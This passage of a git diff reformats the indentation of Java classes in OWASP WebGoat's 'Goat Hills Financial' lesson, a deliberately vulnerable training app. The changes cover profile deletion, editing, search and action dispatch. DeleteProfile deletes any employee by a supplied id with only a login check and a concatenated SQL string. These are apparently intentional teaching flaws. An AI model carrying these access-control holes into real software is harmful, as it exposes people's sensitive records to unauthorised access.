WebSession.getConnection(s) + .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + answer_statement.setInt(1, userId); + answer_statement.setInt(2, employeeId); + ResultSet answer_results = answer_statement.executeQuery(); + authorized = answer_results.first(); + } catch (SQLException sqle) + { + s.setMessage("Error authorizing"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error authorizing"); + e.printStackTrace(); + } - return authorized; - } + return authorized; + } - protected void setStage(WebSession s, String stage) - { - getLesson().setStage(s, stage); - } + protected void setStage(WebSession s, String stage) + { + getLesson().setStage(s, stage); + } - protected void setStageComplete(WebSession s, String stage) - { - getLesson().setStageComplete(s, stage); - } + protected void setStageComplete(WebSession s, String stage) + { + getLesson().setStageComplete(s, stage); + } - protected String getStage(WebSession s) - { - return getLesson().getStage(s); - } + protected String getStage(WebSession s) + { + return getLesson().getStage(s); + } - public String toString() - { - return getActionName(); - } + public String toString() + { + return getActionName(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java index 58f363c09..f4c977670 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/DeleteProfile.java @@ -41,71 +41,71 @@ import org.owasp.webgoat.session.WebSession; public class DeleteProfile extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public DeleteProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException + { + getLesson().setCurrentAction(s, getActionName()); - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); + int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); + int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); - if (isAuthenticated(s)) - { - deleteEmployeeProfile(s, userId, employeeId); + if (isAuthenticated(s)) + { + deleteEmployeeProfile(s, userId, employeeId); - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - else - throw new UnauthenticatedException(); + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + else + throw new UnauthenticatedException(); - } + } - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.LISTSTAFF_ACTION; - } + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.LISTSTAFF_ACTION; + } - public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException - { - try - { - // Note: The password field is ONLY set by ChangePassword - String query = "DELETE FROM employee WHERE userid = " + employeeId; - // System.out.println("Query: " + query); - try - { - Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, - ResultSet.CONCUR_READ_ONLY); - statement.executeUpdate(query); - } catch (SQLException sqle) - { - s.setMessage("Error deleting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error deleting employee profile"); - e.printStackTrace(); - } - } + public void deleteEmployeeProfile(WebSession s, int userId, int employeeId) throws UnauthorizedException + { + try + { + // Note: The password field is ONLY set by ChangePassword + String query = "DELETE FROM employee WHERE userid = " + employeeId; + // System.out.println("Query: " + query); + try + { + Statement statement = WebSession.getConnection(s).createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, + ResultSet.CONCUR_READ_ONLY); + statement.executeUpdate(query); + } catch (SQLException sqle) + { + s.setMessage("Error deleting employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error deleting employee profile"); + e.printStackTrace(); + } + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java index d9168c1ce..69909bb06 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/EditProfile.java @@ -41,75 +41,75 @@ import org.owasp.webgoat.session.WebSession; public class EditProfile extends DefaultLessonAction { - public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName) - { - super(lesson, lessonName, actionName); - } + public EditProfile(GoatHillsFinancial lesson, String lessonName, String actionName) + { + super(lesson, lessonName, actionName); + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException - { - getLesson().setCurrentAction(s, getActionName()); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException + { + getLesson().setCurrentAction(s, getActionName()); - if (isAuthenticated(s)) - { - int userId = getUserId(s); - int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); + if (isAuthenticated(s)) + { + int userId = getUserId(s); + int employeeId = s.getParser().getIntParameter(GoatHillsFinancial.EMPLOYEE_ID); - Employee employee = getEmployeeProfile(s, userId, employeeId); - setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); - } - else - throw new UnauthenticatedException(); - } + Employee employee = getEmployeeProfile(s, userId, employeeId); + setSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ATTRIBUTE_KEY, employee); + } + else + throw new UnauthenticatedException(); + } - public String getNextPage(WebSession s) - { - return GoatHillsFinancial.EDITPROFILE_ACTION; - } + public String getNextPage(WebSession s) + { + return GoatHillsFinancial.EDITPROFILE_ACTION; + } - public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException - { - Employee profile = null; + public Employee getEmployeeProfile(WebSession s, int userId, int subjectUserId) throws UnauthorizedException + { + Employee profile = null; - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE userid = ?"; + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE userid = ?"; - try - { - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setInt(1, subjectUserId); - ResultSet answer_results = answer_statement.executeQuery(); - if (answer_results.next()) - { - // Note: Do NOT get the password field. - profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), - answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results - .getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */} - } catch (SQLException sqle) - { - s.setMessage("Error getting employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error getting employee profile"); - e.printStackTrace(); - } + try + { + PreparedStatement answer_statement = WebSession.getConnection(s) + .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + answer_statement.setInt(1, subjectUserId); + ResultSet answer_results = answer_statement.executeQuery(); + if (answer_results.next()) + { + // Note: Do NOT get the password field. + profile = new Employee(answer_results.getInt("userid"), answer_results.getString("first_name"), + answer_results.getString("last_name"), answer_results.getString("ssn"), answer_results + .getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results + .getInt("manager"), answer_results.getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results + .getString("disciplined_notes"), answer_results.getString("personal_description")); + /* + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); + */} + } catch (SQLException sqle) + { + s.setMessage("Error getting employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error getting employee profile"); + e.printStackTrace(); + } - return profile; - } + return profile; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java index f67ead7e7..c38b14b44 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/FindProfile.java @@ -42,120 +42,120 @@ import org.owasp.webgoat.session.WebSession; public class FindProfile extends DefaultLessonAction { - private LessonAction chainedAction; + private LessonAction chainedAction; - public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) - { - super(lesson, lessonName, actionName); - this.chainedAction = chainedAction; - } + public FindProfile(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction) + { + super(lesson, lessonName, actionName); + this.chainedAction = chainedAction; + } - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException - { - if (isAuthenticated(s)) - { - int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException + { + if (isAuthenticated(s)) + { + int userId = getIntSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.USER_ID); - String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME); + String pattern = s.getParser().getRawParameter(GoatHillsFinancial.SEARCHNAME); - findEmployeeProfile(s, userId, pattern); + findEmployeeProfile(s, userId, pattern); - // Execute the chained Action if the employee was found. - if (foundEmployee(s)) - { - try - { - chainedAction.handleRequest(s); - } catch (UnauthenticatedException ue1) - { - // System.out.println("Internal server error"); - ue1.printStackTrace(); - } catch (UnauthorizedException ue2) - { - // System.out.println("Internal server error"); - ue2.printStackTrace(); - } - } - } - else - throw new UnauthenticatedException(); - } + // Execute the chained Action if the employee was found. + if (foundEmployee(s)) + { + try + { + chainedAction.handleRequest(s); + } catch (UnauthenticatedException ue1) + { + // System.out.println("Internal server error"); + ue1.printStackTrace(); + } catch (UnauthorizedException ue2) + { + // System.out.println("Internal server error"); + ue2.printStackTrace(); + } + } + } + else + throw new UnauthenticatedException(); + } - public String getNextPage(WebSession s) - { - String page = GoatHillsFinancial.SEARCHSTAFF_ACTION; + public String getNextPage(WebSession s) + { + String page = GoatHillsFinancial.SEARCHSTAFF_ACTION; - if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION; + if (foundEmployee(s)) page = GoatHillsFinancial.VIEWPROFILE_ACTION; - return page; - } + return page; + } - private boolean foundEmployee(WebSession s) - { - boolean found = false; - try - { - getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); - found = true; - } catch (ParameterNotFoundException e) - { - } + private boolean foundEmployee(WebSession s) + { + boolean found = false; + try + { + getIntRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); + found = true; + } catch (ParameterNotFoundException e) + { + } - return found; - } + return found; + } - public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException - { - Employee profile = null; - // Clear any residual employee id's in the session now. - removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); + public Employee findEmployeeProfile(WebSession s, int userId, String pattern) throws UnauthorizedException + { + Employee profile = null; + // Clear any residual employee id's in the session now. + removeSessionAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID); - // Query the database for the profile data of the given employee - try - { - String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?"; + // Query the database for the profile data of the given employee + try + { + String query = "SELECT * FROM employee WHERE first_name LIKE ? OR last_name LIKE ?"; - try - { - PreparedStatement answer_statement = WebSession.getConnection(s) - .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); - answer_statement.setString(1, "%" + pattern + "%"); - answer_statement.setString(2, "%" + pattern + "%"); - ResultSet answer_results = answer_statement.executeQuery(); + try + { + PreparedStatement answer_statement = WebSession.getConnection(s) + .prepareStatement(query, ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY); + answer_statement.setString(1, "%" + pattern + "%"); + answer_statement.setString(2, "%" + pattern + "%"); + ResultSet answer_results = answer_statement.executeQuery(); - // Just use the first hit. - if (answer_results.next()) - { - int id = answer_results.getInt("userid"); - // Note: Do NOT get the password field. - profile = new Employee(id, answer_results.getString("first_name"), answer_results - .getString("last_name"), answer_results.getString("ssn"), - answer_results.getString("title"), answer_results.getString("phone"), answer_results - .getString("address1"), answer_results.getString("address2"), answer_results - .getInt("manager"), answer_results.getString("start_date"), answer_results - .getInt("salary"), answer_results.getString("ccn"), answer_results - .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results - .getString("disciplined_notes"), answer_results.getString("personal_description")); + // Just use the first hit. + if (answer_results.next()) + { + int id = answer_results.getInt("userid"); + // Note: Do NOT get the password field. + profile = new Employee(id, answer_results.getString("first_name"), answer_results + .getString("last_name"), answer_results.getString("ssn"), + answer_results.getString("title"), answer_results.getString("phone"), answer_results + .getString("address1"), answer_results.getString("address2"), answer_results + .getInt("manager"), answer_results.getString("start_date"), answer_results + .getInt("salary"), answer_results.getString("ccn"), answer_results + .getInt("ccn_limit"), answer_results.getString("disciplined_date"), answer_results + .getString("disciplined_notes"), answer_results.getString("personal_description")); - /* - * System.out.println("Retrieved employee from db: " + profile.getFirstName() + - * " " + profile.getLastName() + " (" + profile.getId() + ")"); - */ - setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id)); - } - } catch (SQLException sqle) - { - s.setMessage("Error finding employee profile"); - sqle.printStackTrace(); - } - } catch (Exception e) - { - s.setMessage("Error finding employee profile"); - e.printStackTrace(); - } + /* + * System.out.println("Retrieved employee from db: " + profile.getFirstName() + + * " " + profile.getLastName() + " (" + profile.getId() + ")"); + */ + setRequestAttribute(s, getLessonName() + "." + GoatHillsFinancial.EMPLOYEE_ID, Integer.toString(id)); + } + } catch (SQLException sqle) + { + s.setMessage("Error finding employee profile"); + sqle.printStackTrace(); + } + } catch (Exception e) + { + s.setMessage("Error finding employee profile"); + e.printStackTrace(); + } - return profile; - } + return profile; + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java index c231f3b6a..acd026747 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/GoatHillsFinancial.java @@ -46,282 +46,282 @@ import org.owasp.webgoat.session.WebSession; */ public class GoatHillsFinancial extends RandomLessonAdapter { - public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") - .addElement( - new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) - .setVspace(0)); + public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com") + .addElement( + new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0) + .setVspace(0)); - public final static String DESCRIPTION = "description"; + public final static String DESCRIPTION = "description"; - public final static String DISCIPLINARY_DATE = "disciplinaryDate"; + public final static String DISCIPLINARY_DATE = "disciplinaryDate"; - public final static String DISCIPLINARY_NOTES = "disciplinaryNotes"; + public final static String DISCIPLINARY_NOTES = "disciplinaryNotes"; - public final static String CCN_LIMIT = "ccnLimit"; + public final static String CCN_LIMIT = "ccnLimit"; - public final static String CCN = "ccn"; + public final static String CCN = "ccn"; - public final static String SALARY = "salary"; + public final static String SALARY = "salary"; - public final static String START_DATE = "startDate"; + public final static String START_DATE = "startDate"; - public final static String MANAGER = "manager"; + public final static String MANAGER = "manager"; - public final static String ADDRESS1 = "address1"; + public final static String ADDRESS1 = "address1"; - public final static String ADDRESS2 = "address2"; + public final static String ADDRESS2 = "address2"; - public final static String PHONE_NUMBER = "phoneNumber"; + public final static String PHONE_NUMBER = "phoneNumber"; - public final static String TITLE = "title"; + public final static String TITLE = "title"; - public final static String SSN = "ssn"; + public final static String SSN = "ssn"; - public final static String LAST_NAME = "lastName"; + public final static String LAST_NAME = "lastName"; - public final static String FIRST_NAME = "firstName"; + public final static String FIRST_NAME = "firstName"; - public final static String PASSWORD = "password"; + public final static String PASSWORD = "password"; - public final static String EMPLOYEE_ID = "employee_id"; + public final static String EMPLOYEE_ID = "employee_id"; - public final static String USER_ID = "user_id"; + public final static String USER_ID = "user_id"; - public final static String SEARCHNAME = "search_name"; + public final static String SEARCHNAME = "search_name"; - public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult"; + public final static String SEARCHRESULT_ATTRIBUTE_KEY = "SearchResult"; - public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee"; + public final static String EMPLOYEE_ATTRIBUTE_KEY = "Employee"; - public final static String STAFF_ATTRIBUTE_KEY = "Staff"; + public final static String STAFF_ATTRIBUTE_KEY = "Staff"; - public final static String LOGIN_ACTION = "Login"; + public final static String LOGIN_ACTION = "Login"; - public final static String LOGOUT_ACTION = "Logout"; + public final static String LOGOUT_ACTION = "Logout"; - public final static String LISTSTAFF_ACTION = "ListStaff"; + public final static String LISTSTAFF_ACTION = "ListStaff"; - public final static String SEARCHSTAFF_ACTION = "SearchStaff"; + public final static String SEARCHSTAFF_ACTION = "SearchStaff"; - public final static String FINDPROFILE_ACTION = "FindProfile"; + public final static String FINDPROFILE_ACTION = "FindProfile"; - public final static String VIEWPROFILE_ACTION = "ViewProfile"; + public final static String VIEWPROFILE_ACTION = "ViewProfile"; - public final static String EDITPROFILE_ACTION = "EditProfile"; + public final static String EDITPROFILE_ACTION = "EditProfile"; - public final static String UPDATEPROFILE_ACTION = "UpdateProfile"; + public final static String UPDATEPROFILE_ACTION = "UpdateProfile"; - public final static String CREATEPROFILE_ACTION = "CreateProfile"; + public final static String CREATEPROFILE_ACTION = "CreateProfile"; - public final static String DELETEPROFILE_ACTION = "DeleteProfile"; + public final static String DELETEPROFILE_ACTION = "DeleteProfile"; - public final static String ERROR_ACTION = "error"; + public final static String ERROR_ACTION = "error"; - private final static Integer DEFAULT_RANKING = new Integer(125); + private final static Integer DEFAULT_RANKING = new Integer(125); - private Map lessonFunctions = new Hashtable(); + private Map lessonFunctions = new Hashtable(); - public GoatHillsFinancial() - { - String myClassName = parseClassName(this.getClass().getName()); - registerActions(myClassName); - } + public GoatHillsFinancial() + { + String myClassName = parseClassName(this.getClass().getName()); + registerActions(myClassName); + } - protected void registerActions(String className) - { - registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); - registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); - registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); - registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); - registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); + protected void registerActions(String className) + { + registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); + registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); + registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); + registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); + registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); - // These actions are special in that they chain to other actions. - registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); - registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); - registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); - registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); - } + // These actions are special in that they chain to other actions. + registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION))); + registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION))); + registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION))); + registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION))); + } - protected final String parseClassName(String fqcn) - { - String className = fqcn; + protected final String parseClassName(String fqcn) + { + String className = fqcn; - int lastDotIndex = fqcn.lastIndexOf('.'); - if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1); + int lastDotIndex = fqcn.lastIndexOf('.'); + if (lastDotIndex > -1) className = fqcn.substring(lastDotIndex + 1); - return className; - } + return className; + } - protected void registerAction(LessonAction action) - { - lessonFunctions.put(action.getActionName(), action); - } + protected void registerAction(LessonAction action) + { + lessonFunctions.put(action.getActionName(), action); + } - public String[] getStages() - { - return new String[] {}; - } + public String[] getStages() + { + return new String[] {}; + } - protected List getHints(WebSession s) - { - return new ArrayList(); - } + protected List getHints(WebSession s) + { + return new ArrayList(); + } - public String getInstructions(WebSession s) - { - return ""; - } + public String getInstructions(WebSession s) + { + return ""; + } - protected LessonAction getAction(String actionName) - { - return lessonFunctions.get(actionName); - } + protected LessonAction getAction(String actionName) + { + return lessonFunctions.get(actionName); + } - public void handleRequest(WebSession s) - { - if (s.getLessonSession(this) == null) s.openLessonSession(this); + public void handleRequest(WebSession s) + { + if (s.getLessonSession(this) == null) s.openLessonSession(this); - String requestedActionName = null; - try - { - requestedActionName = s.getParser().getStringParameter("action"); - } catch (ParameterNotFoundException pnfe) - { - // Let them eat login page. - requestedActionName = LOGIN_ACTION; - } + String requestedActionName = null; + try + { + requestedActionName = s.getParser().getStringParameter("action"); + } catch (ParameterNotFoundException pnfe) + { + // Let them eat login page. + requestedActionName = LOGIN_ACTION; + } - try - { - LessonAction action = getAction(requestedActionName); - if (action == null) - { - setCurrentAction(s, ERROR_ACTION); - } - else - { - // System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + - // action.getActionName()); - if (action.requiresAuthentication()) - { - if (action.isAuthenticated(s)) - { - action.handleRequest(s); - } - else - throw new UnauthenticatedException(); - } - else - { - // Access to Login does not require authentication. - action.handleRequest(s); - } - } - } catch (ParameterNotFoundException pnfe) - { - // System.out.println("Missing parameter"); - pnfe.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (ValidationException ve) - { - // System.out.println("Validation failed"); - ve.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } catch (UnauthenticatedException ue) - { - s.setMessage("Login failed"); - // System.out.println("Authentication failure"); - ue.printStackTrace(); - } catch (UnauthorizedException ue2) - { - s.setMessage("You are not authorized to perform this function"); - // System.out.println("Authorization failure"); - setCurrentAction(s, ERROR_ACTION); - ue2.printStackTrace(); - } catch (Exception e) - { - // All other errors send the user to the generic error page - // System.out.println("handleRequest() error"); - e.printStackTrace(); - setCurrentAction(s, ERROR_ACTION); - } + try + { + LessonAction action = getAction(requestedActionName); + if (action == null) + { + setCurrentAction(s, ERROR_ACTION); + } + else + { + // System.out.println("GoatHillsFinancial.handleRequest() dispatching to: " + + // action.getActionName()); + if (action.requiresAuthentication()) + { + if (action.isAuthenticated(s)) + { + action.handleRequest(s); + } + else + throw new UnauthenticatedException(); + } + else + { + // Access to Login does not require authentication. + action.handleRequest(s); + } + } + } catch (ParameterNotFoundException pnfe) + { + // System.out.println("Missing parameter"); + pnfe.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } catch (ValidationException ve) + { + // System.out.println("Validation failed"); + ve.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } catch (UnauthenticatedException ue) + { + s.setMessage("Login failed"); + // System.out.println("Authentication failure"); + ue.printStackTrace(); + } catch (UnauthorizedException ue2) + { + s.setMessage("You are not authorized to perform this function"); + // System.out.println("Authorization failure"); + setCurrentAction(s, ERROR_ACTION); + ue2.printStackTrace(); + } catch (Exception e) + { + // All other errors send the user to the generic error page + // System.out.println("handleRequest() error"); + e.printStackTrace(); + setCurrentAction(s, ERROR_ACTION); + } - // All this does for this lesson is ensure that a non-null content exists. - setContent(new ElementContainer()); - } + // All this does for this lesson is ensure that a non-null content exists. + setContent(new ElementContainer()); + } - public boolean isAuthorized(WebSession s, int userId, String functionId) - { - // System.out.println("Checking authorization from " + getCurrentAction(s)); - LessonAction action = getAction(getCurrentAction(s)); - return action.isAuthorized(s, userId, functionId); - } + public boolean isAuthorized(WebSession s, int userId, String functionId) + { + // System.out.println("Checking authorization from " + getCurrentAction(s)); + LessonAction action = getAction(getCurrentAction(s)); + return action.isAuthorized(s, userId, functionId); + } - public int getUserId(WebSession s) throws ParameterNotFoundException - { - LessonAction action = getAction(getCurrentAction(s)); - return action.getUserId(s); - } + public int getUserId(WebSession s) throws ParameterNotFoundException + { + LessonAction action = getAction(getCurrentAction(s)); + return action.getUserId(s); + } - public String getUserName(WebSession s) throws ParameterNotFoundException - { - LessonAction action = getAction(getCurrentAction(s)); - return action.getUserName(s); - } + public String getUserName(WebSession s) throws ParameterNotFoundException + { + LessonAction action = getAction(getCurrentAction(s)); + return action.getUserName(s); + } - protected String getJspPath() - { - return "/lessons/" + getLessonName() + "/"; - } + protected String getJspPath() + { + return "/lessons/" + getLessonName() + "/"; + } - public String getTemplatePage(WebSession s) - { - return getJspPath() + getLessonName() + ".jsp"; - } + public String getTemplatePage(WebSession s) + { + return getJspPath() + getLessonName() + ".jsp"; + } - public String getPage(WebSession s) - { - String page = getJspPath() + getCurrentAction(s) + ".jsp"; + public String getPage(WebSession s) + { + String page = getJspPath() + getCurrentAction(s) + ".jsp"; - return page; - } + return page; + } - protected Integer getDefaultRanking() - { - return DEFAULT_RANKING; - } + protected Integer getDefaultRanking() + { + return DEFAULT_RANKING; + } - public String getTitle() - { - return "Goat Hills Financials"; - } + public String getTitle() + { + return "Goat Hills Financials"; + } - public String getSourceFileName() - { - // FIXME: Need to generalize findSourceResource() and use it on the currently active - // LessonAction delegate to get its source file. - // return findSourceResource(getCurrentLessonScreen()....); - return super.getSourceFileName(); - } + public String getSourceFileName() + { + // FIXME: Need to generalize findSourceResource() and use it on the currently active + // LessonAction delegate to get its source file. + // return findSourceResource(getCurrentLessonScreen()....); + return super.getSourceFileName(); + } - @Override - protected boolean getDefaultHidden() - { - return getClass().equals(GoatHillsFinancial.class); - } + @Override + protected boolean getDefaultHidden() + { + return getClass().equals(GoatHillsFinancial.class); + } - public Element getCredits() - { - return super.getCustomCredits("", ASPECT_LOGO); - } + public Element getCredits() + { + return super.getCustomCredits("", ASPECT_LOGO); + } - @Override - protected String getLessonName() - { - String className = getClass().getName(); - int index = className.lastIndexOf('.'); - if (index > -1) return className.substring(index + 1); - return super.getLessonName(); - } + @Override + protected String getLessonName() + { + String className = getClass().getName(); + int index = className.lastIndexOf('.'); + if (index > -1) return className.substring(index + 1); + return super.getLessonName(); + } } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java index 257abe1dd..a569390a0 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/LessonAction.java @@ -10,20 +10,20 @@ import org.owasp.webgoat.session.WebSession; public interface LessonAction { - public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, - UnauthorizedException, ValidationException; + public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException, + UnauthorizedException, ValidationException; - public String getNextPage(WebSession s); + public String getNextPage(WebSession s); - public String getActionName(); + public String getActionName(); - public boolean requiresAuthentication(); + public boolean requiresAuthentication(); - public boolean isAuthenticated(WebSession s); + public boolean isAuthenticated(WebSession s); - public boolean isAuthorized(WebSession s, int employeeId, String functionId); + public boolean isAuthorized(WebSession s, int employeeId, String functionId); - public int getUserId(WebSession s) throws ParameterNotFoundException; + public int getUserId(WebSession s) throws ParameterNotFoundException; - public String getUserName(WebSession s) throws ParameterNotFoundException; + public String getUserName(WebSession s) throws ParameterNotFoundException; } diff --git a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java index 37ea23faf..ce684723e 100644 --- a/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java +++ b/src/main/java/org/owasp/webgoat/lessons/GoatHillsFinancial/ListStaff.java @@ -43,70 +43,70 @@ import 